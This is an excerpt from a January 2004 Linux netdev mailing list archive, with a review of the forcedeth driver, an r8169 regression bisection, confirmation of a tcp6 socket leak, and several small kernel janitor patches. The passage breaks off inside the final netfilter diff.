linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver In-Reply-To: <20040124224635.GA3448@ucw.cz> References: <4012BF44.9@colorfullife.com> <4012D3C6.1050805@pobox.com> <20040124220545.GA3246@ucw.cz> <4012F2B7.3080800@gmx.net> <20040124224635.GA3448@ucw.cz> X-Mailer: VM 7.18 under Emacs 21.3.1 X-archive-position: 2746 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paulus@samba.org Precedence: bulk X-list: netdev Vojtech Pavlik writes: > Well, my memory may be tricking me (I'm not really sure about this), but > I remember there was supposed to be a PPC64 northbridge with a HT link, > made exactly for the purpose of connecting an nForce southrbridge to it. > But it definitely is not in production yet. The U3 northbridge in the Apple G5 powermac has a HT link coming out of it, which connects via an AMD PCI-X tunnel chip to an Apple K2 southbridge. I have never heard of anyone using (or planning to use) an nForce southbridge on a PPC64 system though. Regards, Paul. From jgarzik@pobox.com Sat Jan 24 16:01:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 16:01:32 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P01G7J014873 for ; Sat, 24 Jan 2004 16:01:19 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:47711 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AkXiF-00007b-Ht; Sun, 25 Jan 2004 00:01:15 +0000 Message-ID: <4013073F.7030504@pobox.com> Date: Sat, 24 Jan 2004 19:01:03 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carl-Daniel Hailfinger CC: Linux Kernel Mailing List , netdev@oss.sgi.com, Manfred Spraul Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012A738.2060009@gmx.net> <4012B25B.9060706@pobox.com> <4012E276.5030804@gmx.net> In-Reply-To: <4012E276.5030804@gmx.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2747 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Carl-Daniel Hailfinger wrote: >>>+#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,5,28)) >>>+static inline void synchronize_irq_wrapper(unsigned int irq) { >>>synchronize_irq(); } >>>+#undef synchronize_irq >>>+#define synchronize_irq(irq) synchronize_irq_wrapper(irq) >>>+#endif >> >> >>Just introduce a diff between 2.4 and 2.6 versions. > > > The chunk above is the only difference between the 2.4 and the 2.6 > version. Should I remove the #ifdef or change the line calling > synchronize_irq itself? Just change the line itself, for the 2.4 and 2.6 kernel.org trees... >>>+ dprintk(KERN_DEBUG "%s: start_xmit: packet packet %d queued for >>>transmission.\n", >>>+ dev->name, np->next_tx); >>>+ { >>>+ int j; >>>+ for (j=0; j<64; j++) { >>>+ if ((j%16) == 0) >>>+ dprintk("\n%03x:", j); >>>+ dprintk(" %02x", ((unsigned char*)skb->data)[j]); >>>+ } >>>+ dprintk("\n"); >>>+ } >> >> >>would be nice if this loop was optimized out by the compiler. > > > You mean it should be removed? AFAICS, we have > #define dprintk(x...) do { } while (0) > so the compiler _should_ optimize it out if we use at least -O. no biggie either way. it's just the sorta code I would throw an ifdef or "if (static_constant)" around. >>>+ if (!is_valid_ether_addr(dev->dev_addr)) { >>>+ /* >>>+ * Bad mac address. At least one bios sets the mac address >>>+ * to 01:23:45:67:89:ab >>>+ */ >>>+ printk(KERN_ERR "%s: Invalid Mac address detected: >>>%02x:%02x:%02x:%02x:%02x:%02x\n", >>>+ pci_name(pci_dev), >>>+ dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], >>>+ dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); >>>+ printk(KERN_ERR "Please complain to your hardware vendor. >>>Switching to a random MAC.\n"); >>>+ dev->dev_addr[0] = 0x00; >>>+ dev->dev_addr[1] = 0x00; >>>+ dev->dev_addr[2] = 0x6c; >>>+ get_random_bytes(&dev->dev_addr[3], 3); >>>+ } >> >> >>I don't like this random MAC address stuff. Regardless of hardware >>behavior, this breaks MAC address uniqueness. >> >>I would much rather that ->open() failed, if a valid MAC address were >>not present. Then a simple userspace program can be run by the admin >>(policy!) that sets the MAC address, before bringing up the interface. > > > This was a feature many users asked for. It seems broken hardware is very > common for this chipset. That's fine, but it doesn't have to be implemented in the kernel. Users can just as easily download a generic userspace program that checks your MAC address, and attempts to assign you one if you don't already have one. This is a good example of putting policy in the kernel, in fact :) > Will take a look at other drivers. Do you have any good example? e100, e1000, tg3, 8139cp, ... Jeff From harisri@bigpond.com Sat Jan 24 18:05:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 18:06:13 -0800 (PST) Received: from gizmo07ps.bigpond.com (gizmo07ps.bigpond.com [144.140.71.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P25s7J020481 for ; Sat, 24 Jan 2004 18:05:55 -0800 Received: (qmail 3636 invoked from network); 25 Jan 2004 02:00:30 -0000 Received: from unknown (HELO psmam12.bigpond.com) (144.135.25.103) by gizmo07ps.bigpond.com with SMTP; 25 Jan 2004 02:00:30 -0000 Received: from 144.138.164.127 ([144.138.164.127]) by psmam12.bigpond.com(MAM REL_3_4_2 228/38831583) with SMTP id 38831583; Sun, 25 Jan 2004 12:05:46 +1000 From: Srihari Vijayaraghavan To: Francois Romieu Subject: Re: [update] 2.6.2-rc1 - Realtek 8169 patches Date: Sun, 25 Jan 2004 13:06:58 +1100 User-Agent: KMail/1.5.4 References: <20040122234725.A8109@electric-eye.fr.zoreil.com> <200401241522.18369.harisri@bigpond.com> <20040124111601.A30087@electric-eye.fr.zoreil.com> In-Reply-To: <20040124111601.A30087@electric-eye.fr.zoreil.com> Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401251306.58563.harisri@bigpond.com> X-archive-position: 2748 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Hello Romieu, On Saturday 24 January 2004 21:16, you wrote: > > I have applied your patches (all of them) and the kernel oops when I ping > > to that machine from a remote machine :-(. > > Ok, can you publish/send me offlist an objdump -S of your r8169 module + > r8169.c source ? Please read my comments below and tell me if you still want the objdump? > > I will try to track down which one of your patch introduces the > > regression. > > Thanks, a binary search can be done in 5~6 different rounds. Oh yes, been there done that :-). The r8169-addr-high.patch introduces the regression. The good news is that the previous 13 patches do not introduce any issues, and the kernel is stable with them. Thanks Hari From yoshfuji@linux-ipv6.org Sat Jan 24 21:24:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 21:25:14 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P5On7J027399 for ; Sat, 24 Jan 2004 21:24:50 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 0ECD533CA5; Sun, 25 Jan 2004 14:25:27 +0900 (JST) Date: Sun, 25 Jan 2004 14:25:26 +0900 (JST) Message-Id: <20040125.142526.69342105.yoshfuji@linux-ipv6.org> To: erik@hensema.net Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, usagi-core@linux-ipv6.org Subject: Re: Demonstration code on how to trigger tcp6_sock leak From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040124131307.GB2666@bender.home.hensema.net> References: <20040124131307.GB2666@bender.home.hensema.net> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2749 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040124131307.GB2666@bender.home.hensema.net> (at Sat, 24 Jan 2004 14:13:07 +0100), Erik Hensema says: > I wrote some quick&dirty code showing the tcp6_sock leak in Linux 2.6.x. > The server part listens for incoming connections and accept()'s them. The > client will simply connect() to the server and close the connection. Okay, I confirm that there're something wrong with tcp6 socket. I'll look into it as soon as possible. --yoshfuji From rddunlap@osdl.org Sat Jan 24 22:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:15 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Ys7J029314 for ; Sat, 24 Jan 2004 22:34:56 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Ymo31902; Sat, 24 Jan 2004 22:34:48 -0800 Date: Sat, 24 Jan 2004 22:19:28 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] get_stats: collapse conditionals Message-Id: <20040124221928.16f4c708.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2754 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Domen Puncer Hi. Get rid of one comparison, improve readability. diff -puN net/core/dev.c~netdev_get_stats net/core/dev.c linux-262-rc1-bk1-rddunlap/net/core/dev.c | 7 ++++--- 1 files changed, 4 insertions(+), 3 deletions(-) diff -puN net/core/dev.c~netdev_get_stats net/core/dev.c --- linux-262-rc1-bk1/net/core/dev.c~netdev_get_stats 2004-01-23 15:52:33.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/core/dev.c 2004-01-23 15:52:33.000000000 -0800 @@ -1940,9 +1940,9 @@ void dev_seq_stop(struct seq_file *seq, static void dev_seq_printf_stats(struct seq_file *seq, struct net_device *dev) { - struct net_device_stats *stats = dev->get_stats ? dev->get_stats(dev) : - NULL; - if (stats) + if (dev->get_stats) { + struct net_device_stats *stats = dev->get_stats(dev); + seq_printf(seq, "%6s:%8lu %7lu %4lu %4lu %4lu %5lu %10lu %9lu " "%8lu %7lu %4lu %4lu %4lu %5lu %7lu %10lu\n", dev->name, stats->rx_bytes, stats->rx_packets, @@ -1960,6 +1960,7 @@ static void dev_seq_printf_stats(struct stats->tx_window_errors + stats->tx_heartbeat_errors, stats->tx_compressed); + } else seq_printf(seq, "%6s: No statistics available.\n", dev->name); } _ From rddunlap@osdl.org Sat Jan 24 22:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:15 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Yr7J029313 for ; Sat, 24 Jan 2004 22:34:56 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Ylo31898; Sat, 24 Jan 2004 22:34:47 -0800 Date: Sat, 24 Jan 2004 22:17:01 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [janitor] net: remove unnecessary type casting Message-Id: <20040124221701.3c1406d3.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2753 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Carlo Perassi Hi. Line 346 of TODO states: "Lots of unnecessary casts in drivers can be removed" This micro patch removes some of them. -- Carlo Perassi - http://www.linux.it/~carlo/ diff -puN drivers/net/dl2k.c~netdev_rm_casts drivers/net/dl2k.c diff -puN drivers/net/dl2k.c~netdev_rm_casts drivers/net/dl2k.c linux-262-rc1-bk1-rddunlap/drivers/net/dl2k.c | 4 ++-- linux-262-rc1-bk1-rddunlap/drivers/net/fealnx.c | 2 +- linux-262-rc1-bk1-rddunlap/drivers/net/sundance.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff -puN drivers/net/dl2k.c~netdev_rm_casts drivers/net/dl2k.c --- linux-262-rc1-bk1/drivers/net/dl2k.c~netdev_rm_casts 2004-01-23 15:47:13.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/dl2k.c 2004-01-23 15:47:13.000000000 -0800 @@ -745,7 +745,7 @@ rio_interrupt (int irq, void *dev_instan static void rio_free_tx (struct net_device *dev, int irq) { - struct netdev_private *np = (struct netdev_private *) dev->priv; + struct netdev_private *np = dev->priv; int entry = np->old_tx % TX_RING_SIZE; int tx_use = 0; unsigned long flag = 0; @@ -855,7 +855,7 @@ tx_error (struct net_device *dev, int tx static int receive_packet (struct net_device *dev) { - struct netdev_private *np = (struct netdev_private *) dev->priv; + struct netdev_private *np = dev->priv; int entry = np->cur_rx % RX_RING_SIZE; int cnt = 30; diff -puN drivers/net/fealnx.c~netdev_rm_casts drivers/net/fealnx.c --- linux-262-rc1-bk1/drivers/net/fealnx.c~netdev_rm_casts 2004-01-23 15:47:13.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/fealnx.c 2004-01-23 15:47:13.000000000 -0800 @@ -1426,7 +1426,7 @@ static irqreturn_t intr_handler(int irq, writel(0, dev->base_addr + IMR); ioaddr = dev->base_addr; - np = (struct netdev_private *) dev->priv; + np = dev->priv; do { u32 intr_status = readl(ioaddr + ISR); diff -puN drivers/net/sundance.c~netdev_rm_casts drivers/net/sundance.c --- linux-262-rc1-bk1/drivers/net/sundance.c~netdev_rm_casts 2004-01-23 15:47:13.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/sundance.c 2004-01-23 15:47:13.000000000 -0800 @@ -1136,7 +1136,7 @@ start_tx (struct sk_buff *skb, struct ne static int reset_tx (struct net_device *dev) { - struct netdev_private *np = (struct netdev_private*) dev->priv; + struct netdev_private *np = dev->priv; long ioaddr = dev->base_addr; struct sk_buff *skb; int i; _ From rddunlap@osdl.org Sat Jan 24 22:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:16 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Yu7J029317 for ; Sat, 24 Jan 2004 22:34:56 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Yoo31914; Sat, 24 Jan 2004 22:34:50 -0800 Date: Sat, 24 Jan 2004 22:31:09 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [janitor] depca: release resources on errors Message-Id: <20040124223109.1c134ca1.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2755 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Leann Ogasawara Hi All, Inserts missing iounmap's and release_mem_region's. Appreciate feedback. Leann diffed against 2.6.1 ===== drivers/net/depca.c 1.20 vs edited ===== diff -puN drivers/net/depca.c~depca_iounmap drivers/net/depca.c diff -puN drivers/net/depca.c~depca_iounmap drivers/net/depca.c linux-262-rc1-bk1-rddunlap/drivers/net/depca.c | 4 ++++ 1 files changed, 4 insertions(+) diff -puN drivers/net/depca.c~depca_iounmap drivers/net/depca.c --- linux-262-rc1-bk1/drivers/net/depca.c~depca_iounmap 2004-01-23 15:49:48.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/depca.c 2004-01-23 15:49:48.000000000 -0800 @@ -771,6 +771,8 @@ static int __init depca_hw_init (struct status = -ENXIO; if (!irqnum) { printk(" and failed to detect IRQ line.\n"); + iounmap(lp->sh_mem); + release_mem_region(mem_start, mem_len); goto out_priv; } else { for (dev->irq = 0, i = 0; (depca_irq[i]) && (!dev->irq); i++) @@ -781,6 +783,8 @@ static int __init depca_hw_init (struct if (!dev->irq) { printk(" but incorrect IRQ line detected.\n"); + iounmap(lp->sh_mem); + release_mem_region(mem_start, mem_len); return -ENXIO; } } _ From rddunlap@osdl.org Sat Jan 24 22:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:14 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Yt7J029316 for ; Sat, 24 Jan 2004 22:34:56 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Yoo31910; Sat, 24 Jan 2004 22:34:50 -0800 Date: Sat, 24 Jan 2004 22:29:30 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [janitor] tc35815: handle ioremap() failure Message-Id: <20040124222930.3da1ce43.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2750 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Leann Ogasawara Hi All, Patch to check if ioremap() failed. If so, handle error accordingly. Was unable to test so feedback appreciated. diffed against 2.6.1 Leann ===== drivers/net/tc35815.c 1.15 vs edited ===== diff -puN drivers/net/tc35815.c~tc35815.c_iounmap drivers/net/tc35815.c diff -puN drivers/net/tc35815.c~tc35815.c_iounmap drivers/net/tc35815.c linux-262-rc1-bk1-rddunlap/drivers/net/tc35815.c | 5 +++++ 1 files changed, 5 insertions(+) diff -puN drivers/net/tc35815.c~tc35815.c_iounmap drivers/net/tc35815.c --- linux-262-rc1-bk1/drivers/net/tc35815.c~tc35815.c_iounmap 2004-01-23 15:49:36.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/tc35815.c 2004-01-23 15:49:36.000000000 -0800 @@ -554,6 +554,11 @@ static int __devinit tc35815_probe1(stru dev->irq = irq; dev->base_addr = (unsigned long)ioremap(base_addr, sizeof(struct tc35815_regs)); + if (!dev->base_addr) { + unregister_netdev(dev); + free_netdev(dev); + return -ENOMEM; + } tr = (struct tc35815_regs*)dev->base_addr; tc35815_chip_reset(dev); _ From rddunlap@osdl.org Sat Jan 24 22:34:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:14 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Yu7J029318 for ; Sat, 24 Jan 2004 22:34:57 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Ypo31918; Sat, 24 Jan 2004 22:34:51 -0800 Date: Sat, 24 Jan 2004 22:32:22 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [janitor] dgrs: add iounmap()s to failure paths Message-Id: <20040124223222.52a97b25.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2751 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Leann Ogasawara Hi All, Insert missing iounmap's. You know the drill, feedback wanted. diffed against 2.6.1 Leann ===== drivers/net/dgrs.c 1.22 vs edited ===== diff -puN drivers/net/dgrs.c~dgrs_iounmap drivers/net/dgrs.c diff -puN drivers/net/dgrs.c~dgrs_iounmap drivers/net/dgrs.c linux-262-rc1-bk1-rddunlap/drivers/net/dgrs.c | 8 +++++++- 1 files changed, 7 insertions(+), 1 deletion(-) diff -puN drivers/net/dgrs.c~dgrs_iounmap drivers/net/dgrs.c --- linux-262-rc1-bk1/drivers/net/dgrs.c~dgrs_iounmap 2004-01-23 15:49:58.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/drivers/net/dgrs.c 2004-01-23 15:49:58.000000000 -0800 @@ -322,8 +322,10 @@ check_board_dma(struct net_device *dev0) */ priv0->vplxdma[PLX_DMA0_MODE/4] = 0xFFFFFFFF; x = priv0->vplxdma[PLX_DMA0_MODE/4]; - if (x != 0x00001FFF) + if (x != 0x00001FFF) { + iounmap((void *)priv0->vplxdma); return (0); + } return (1); } @@ -1015,6 +1017,8 @@ dgrs_download(struct net_device *dev0) if (!is) { printk("%s: Illegal IRQ %d\n", dev0->name, dev0->irq); + iounmap(priv0->vmem); + priv0->vmem = NULL; return -ENXIO; } OUTB(dev0->base_addr + ES4H_AS_31_24, @@ -1096,6 +1100,8 @@ dgrs_download(struct net_device *dev0) if (priv0->bcomm->bc_status < BC_RUN) { printk("%s: board not operating\n", dev0->name); + iounmap(priv0->vmem); + priv0->vmem = NULL; return -ENXIO; } _ From rddunlap@osdl.org Sat Jan 24 22:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 22:35:15 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0P6Yt7J029315 for ; Sat, 24 Jan 2004 22:34:56 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0P6Yno31906; Sat, 24 Jan 2004 22:34:49 -0800 Date: Sat, 24 Jan 2004 22:23:37 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: davem@redhat.com Subject: [janitor] netfilter: propogate return values Message-Id: <20040124222337.752a768a.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2752 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.current. Thanks, -- ~Randy From: Daniele Bellucci Patch apply cleany (against 2.6.1-mm3) and compile good to me. Please Apply. diff -puN net/ipv4/netfilter/ipt_CLASSIFY.c~ipt_register_target_retval net/ipv4/netfilter/ipt_CLASSIFY.c diff -puN net/ipv4/netfilter/ipt_CLASSIFY.c~ipt_register_target_retval net/ipv4/netfilter/ipt_CLASSIFY.c linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_CLASSIFY.c | 5 +---- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_DSCP.c | 5 +---- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_ECN.c | 5 +---- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_LOG.c | 5 +---- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_MARK.c | 5 +---- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_REJECT.c | 4 +--- linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_TOS.c | 5 +---- 7 files changed, 7 insertions(+), 27 deletions(-) diff -puN net/ipv4/netfilter/ipt_CLASSIFY.c~ipt_register_target_retval net/ipv4/netfilter/ipt_CLASSIFY.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_CLASSIFY.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_CLASSIFY.c 2004-01-23 15:46:14.000000000 -0800 @@ -71,10 +71,7 @@ static struct ipt_target ipt_classify_re static int __init init(void) { - if (ipt_register_target(&ipt_classify_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_classify_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_DSCP.c~ipt_register_target_retval net/ipv4/netfilter/ipt_DSCP.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_DSCP.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_DSCP.c 2004-01-23 15:46:14.000000000 -0800 @@ -91,10 +91,7 @@ static struct ipt_target ipt_dscp_reg = static int __init init(void) { - if (ipt_register_target(&ipt_dscp_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_dscp_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_ECN.c~ipt_register_target_retval net/ipv4/netfilter/ipt_ECN.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_ECN.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_ECN.c 2004-01-23 15:46:14.000000000 -0800 @@ -155,10 +155,7 @@ static struct ipt_target ipt_ecn_reg = { static int __init init(void) { - if (ipt_register_target(&ipt_ecn_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_ecn_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_LOG.c~ipt_register_target_retval net/ipv4/netfilter/ipt_LOG.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_LOG.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_LOG.c 2004-01-23 15:46:14.000000000 -0800 @@ -404,10 +404,7 @@ static struct ipt_target ipt_log_reg = { static int __init init(void) { - if (ipt_register_target(&ipt_log_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_log_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_MARK.c~ipt_register_target_retval net/ipv4/netfilter/ipt_MARK.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_MARK.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_MARK.c 2004-01-23 15:46:14.000000000 -0800 @@ -59,10 +59,7 @@ static struct ipt_target ipt_mark_reg = static int __init init(void) { - if (ipt_register_target(&ipt_mark_reg)) - return -EINVAL; - - return 0; + return ipt_register_target(&ipt_mark_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_REJECT.c~ipt_register_target_retval net/ipv4/netfilter/ipt_REJECT.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_REJECT.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_REJECT.c 2004-01-23 15:46:14.000000000 -0800 @@ -449,9 +449,7 @@ static struct ipt_target ipt_reject_reg static int __init init(void) { - if (ipt_register_target(&ipt_reject_reg)) - return -EINVAL; - return 0; + return ipt_register_target(&ipt_reject_reg); } static void __exit fini(void) diff -puN net/ipv4/netfilter/ipt_TOS.c~ipt_register_target_retval net/ipv4/netfilter/ipt_TOS.c --- linux-262-rc1-bk1/net/ipv4/netfilter/ipt_TOS.c~ipt_register_target_retval 2004-01-23 15:46:14.000000000 -0800 +++ linux-262-rc1-bk1-rddunlap/net/ipv4/netfilter/ipt_TOS.c 2004-01-23 15:46:14.000000000 -0800 @@ 